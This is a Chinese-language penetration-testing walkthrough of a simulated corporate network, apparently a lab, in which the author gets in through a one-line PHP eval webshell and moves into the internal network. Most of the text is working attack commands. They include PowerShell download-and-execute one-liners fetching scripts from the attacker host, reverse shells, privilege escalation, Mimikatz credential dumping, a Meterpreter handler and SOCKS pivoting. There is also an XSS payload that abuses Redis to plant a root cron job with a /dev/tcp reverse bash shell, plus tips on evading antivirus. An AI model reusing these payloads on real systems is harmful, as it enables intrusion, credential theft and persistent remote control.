[+] Author: niexinming
[+] Team: n0tr00t security team
[+] From: http://www.n0tr00t.com
[+] Create: 2017-03-09 0x00 缘由0x01 拓扑设计- 192.168.1.0/24: 模拟公网环境
- 172.21.132.0/24: 模拟企业内网环境
- 192.168.1.108: 黑客 Kali 攻击机
- 192.168.1.212: 黑客 Windows 攻击机
- 边界 Web 服务器双网卡(公网的:192.168.1.110,和内网的172.21.132.110),而且为了最基本的安全保障,Web 边界服务器设置了防火墙,此防火墙对外网只开放80,81,443端口,对内网开放所有端口,上面装有360杀毒软件
- 内网还布置若干台 Web 服务器,一台旁路告警设备(ips),他们都可以连接到外网,但是外网访问不到内部的任何web服务器
- 其中 Web 服务器(172.21.132.113/linux)前面放置防火墙,不可以被内网的其他 Web 服务器访问到,但它可访问到内网其他服务器并且能够连接外网
0x02 Nishang, PowerSploit- Nishang是基于 PowerShell 的渗透测试专用工具。集成了框架、脚本和各种payload。这些脚本是由Nishang的作者在真实渗透测试过程中有感而发编写的,具有实战价值。包括了下载和执行、键盘记录、dns、延时命令等脚本
- PowerSploit是又一款 Post Exploitation 相关工具,Post Exploitation 是老外渗透测试标准里面的东西,就是获取shell之后干的一些事情。PowerSploit 其实就是一些 Powershell 脚本,包括 Inject-Dll(注入dll到指定进程)、Inject-Shellcode(注入shellcode到执行进程)、Encrypt- Script(文本或脚本加密)、Get-GPPPassword(通过groups.xml获取明文密码)、Invoke- ReverseDnsLookup(扫描 DNS PTR记录)
0x03 开始渗透服务器端木马内容: - <?php
- eval('$n0tr00t ='.$_POST['test']);
- eval($n0tr00t);
- ?>
复制代码替换 Config.ini PHP_MAKE 为: - base64_decode($_POST['action']);
复制代码拿到 Webshell 之后 systeminfo 查看系统信息: 可以看到这个是一台 Win2008 r2 64 位而且没有打任何系统补丁的系统,所以我们可以从上面反弹一个 Powershell 出来进行下一步渗透,首先把 nishang git clone 到 Web 目录下,然后在shell 目录下找到 Invoke-PowerShellTcp.ps1,为了方便直接把 Invoke-PowerShellTcp.ps1 复制到根目录,nc 监听8888端口,然后执行: - powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.108/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.108 -port 8888
复制代码- IEX (New-Object Net.WebClient).DownloadString
- ('http://192.168.108/Invoke-ReflectivePEInjection.ps1');
- Invoke-ReflectivePEInjection -PEUrl http://192.168.1.108/ms1564.exe -ExeArgs "cmd" -ForceASLR
复制代码这里面有个坑,ms15051 由于是随便从一个网上下载下来的,没有经过改造,所以当执行的指令参数有空格的时候,他会没有任何反应,也没有任何回显,后来经过不断尝试,执行cmd的时候就可以把shell的权限提了,但是如果你执行 powershell 这个指令的话,那么这个反弹的shell就会假死。 这时在本机搜集信息,mimikatz 脱出登陆过的密码: - IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.108/Invoke-Mimikatz.ps1');Invoke-Mimikatz
复制代码查看 arp 的列表: 扫描: - IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.108/Invoke-PortScan.ps1');
- Invoke-PortScan -StartAddress 172.21.132.0 -EndAddress 172.21.132.254 -ResolveHost -ScanPort
复制代码这个时候我们反弹一个 meterpreter 利用 powersploit 框架,由于一些奇怪的原因,作者把框架中支持 msf 的部分去掉了,但经过我的查找在作者提交的历史记录里面找到了最后一版支持 msf 的部分: 如果 git clone 新版本的 PowerSploit 你要用老版本的 CodeExecution/Invoke--Shellcode.ps1 替换掉新版本的文件: - IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.108/CodeExecution/Invoke-Shellcode.ps1')
- Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.1.108 -lport 4444 -force
复制代码设置 payload 为 windows/meterpreter/reverse_https ,并且监听 4444 端口: - msf > use exploit/multi/handler
- msf exploit(handler) > set payload windows/meterpreter/reverse_https
- payload => windows/meterpreter/reverse_https
- msf exploit(handler) > set lport 4444
- lport => 4444
- msf exploit(handler) > set lhost 0.0.0.0
- lhost => 0.0.0.0
- msf exploit(handler) > run
复制代码然后在 powershell 反弹的 shell 中调用: - IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.108/1.ps1')
复制代码拿到 meterpreter ~ 注意:这个 meterpreter 执行 shell 是不能得到交互式 cmd 的,因为刚才用 exp 把反弹的 powershell 变成了 system 的权限,所以再反弹出来的meterpreter 也是 system 权限,查看路由:run get_local_subnets,寻找 putty 保存的信息run enum_putty,寻找ie保存的密码:run post/windows/gather/enum_ie。 本地信息搜集差不多了,可以使用 background 把 meterpreter 放入后台,然后添加路由(这样才能进行内网的扫描): - route add 172.21.132.0 255.255.255.0 1
复制代码route add 第一个参数是地址,第二个参数地址是掩码,第三个参数是sessis的id;
进行内网的主机扫描,利用 smb 进行主机识别: - use auxiliary/scanner/smb/smb_version
复制代码利用刚才找到的管理员密码在内网里面碰撞一下,看看多少主机用的是同样的密码 用的是:use auxiliary/scanner/smb/smb_login 可以看到内网里面的大部分机子都是用的一个密码,下面我们要用 socks 代理进入到内网里面获取一些信息,这里有三种选择: - msf 提供了一种 socks4a 的代理,浏览器可以用这个代理进入到内网,但burp不能用socks4a的代理
- 用 reGeorgSocksProxy.py 的 socks5 进入到内网里
- 用特殊处理过得 xsocks.exe ,通过 powershell 远程加载到内存里面运行之后得到代理
因为这是60字节 WebShell 的杂技,所以我们采用第三种方法进入到内网,在黑客的web里面放入特殊处理的 xsocks.exe,然后用 poweshell 加载: - IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.108/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://192.168.1.108/xsocks.exe -ExeArgs "-l 443" -ForceASLR
复制代码BurpSuite / Firefox 等代理中设置好后就可以实现这样的效果了: 流量拦截下来 repeater : 经过内网探测发现 172.21.132.113 开放 6379 端口,但是通过代理无法连接,后来发现 172.21.132.117:83/xss/add.php 的一个留言板: - var cmd = new XMLHttpRequest();
- cmd.open("POST", "http://127.0.0.1:6379");
- cmd.send('flushall\r\n');
- var cmd = new XMLHttpRequest();
- cmd.open("POST", "http://127.0.0.1:6379");
- cmd.send('eval \'' + 'redis.call("set", "1","\\n\\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.1.108/5566 0>&1\\n\\n"); redis.call("config", "set", "dir", "/var/spool/cron/"); redis.call("config", "set", "dbfilename", "root");' + '\' 0' + "\r\n");
- var cmd = new XMLHttpRequest();
- cmd.open("POST", "http://127.0.0.1:6379");
- cmd.send('save\r\n');
复制代码在本机监听 5566 端口,只要有装redis的那台机子的管理员查看留言板的话就会弹出一个shell给我们的主机: 0x04 tips我们在上面介绍用 Powershell 加载外部 exe 进入内存执行,从而不在受害主机里面留下任何痕迹,而且也可以绕过国内主流杀软的查杀,参考: 实现前提条件: - 你要有源码
- 源码必须是 c++ 编写,c# 编写的会导致崩溃
- 编译的时候建议用 vs2010+winxp 编译
- 编译采用/MT 或者/MTd
- 代码中不能有写文件的操作
如果要传递参数的话把 int main(int argc char **argv) 改成: - int main()
- {
- LPWSTR *szArglist;
- int nArgs;
- int i;
- szArglist = CommandLineToArgvW(GetCommandLineW(), &nArgs);
- if( NULL == szArglist )
- {
- wprintf(L"CommandLineToArgvW failed\n");
- return 0;
- }
- }
复制代码
|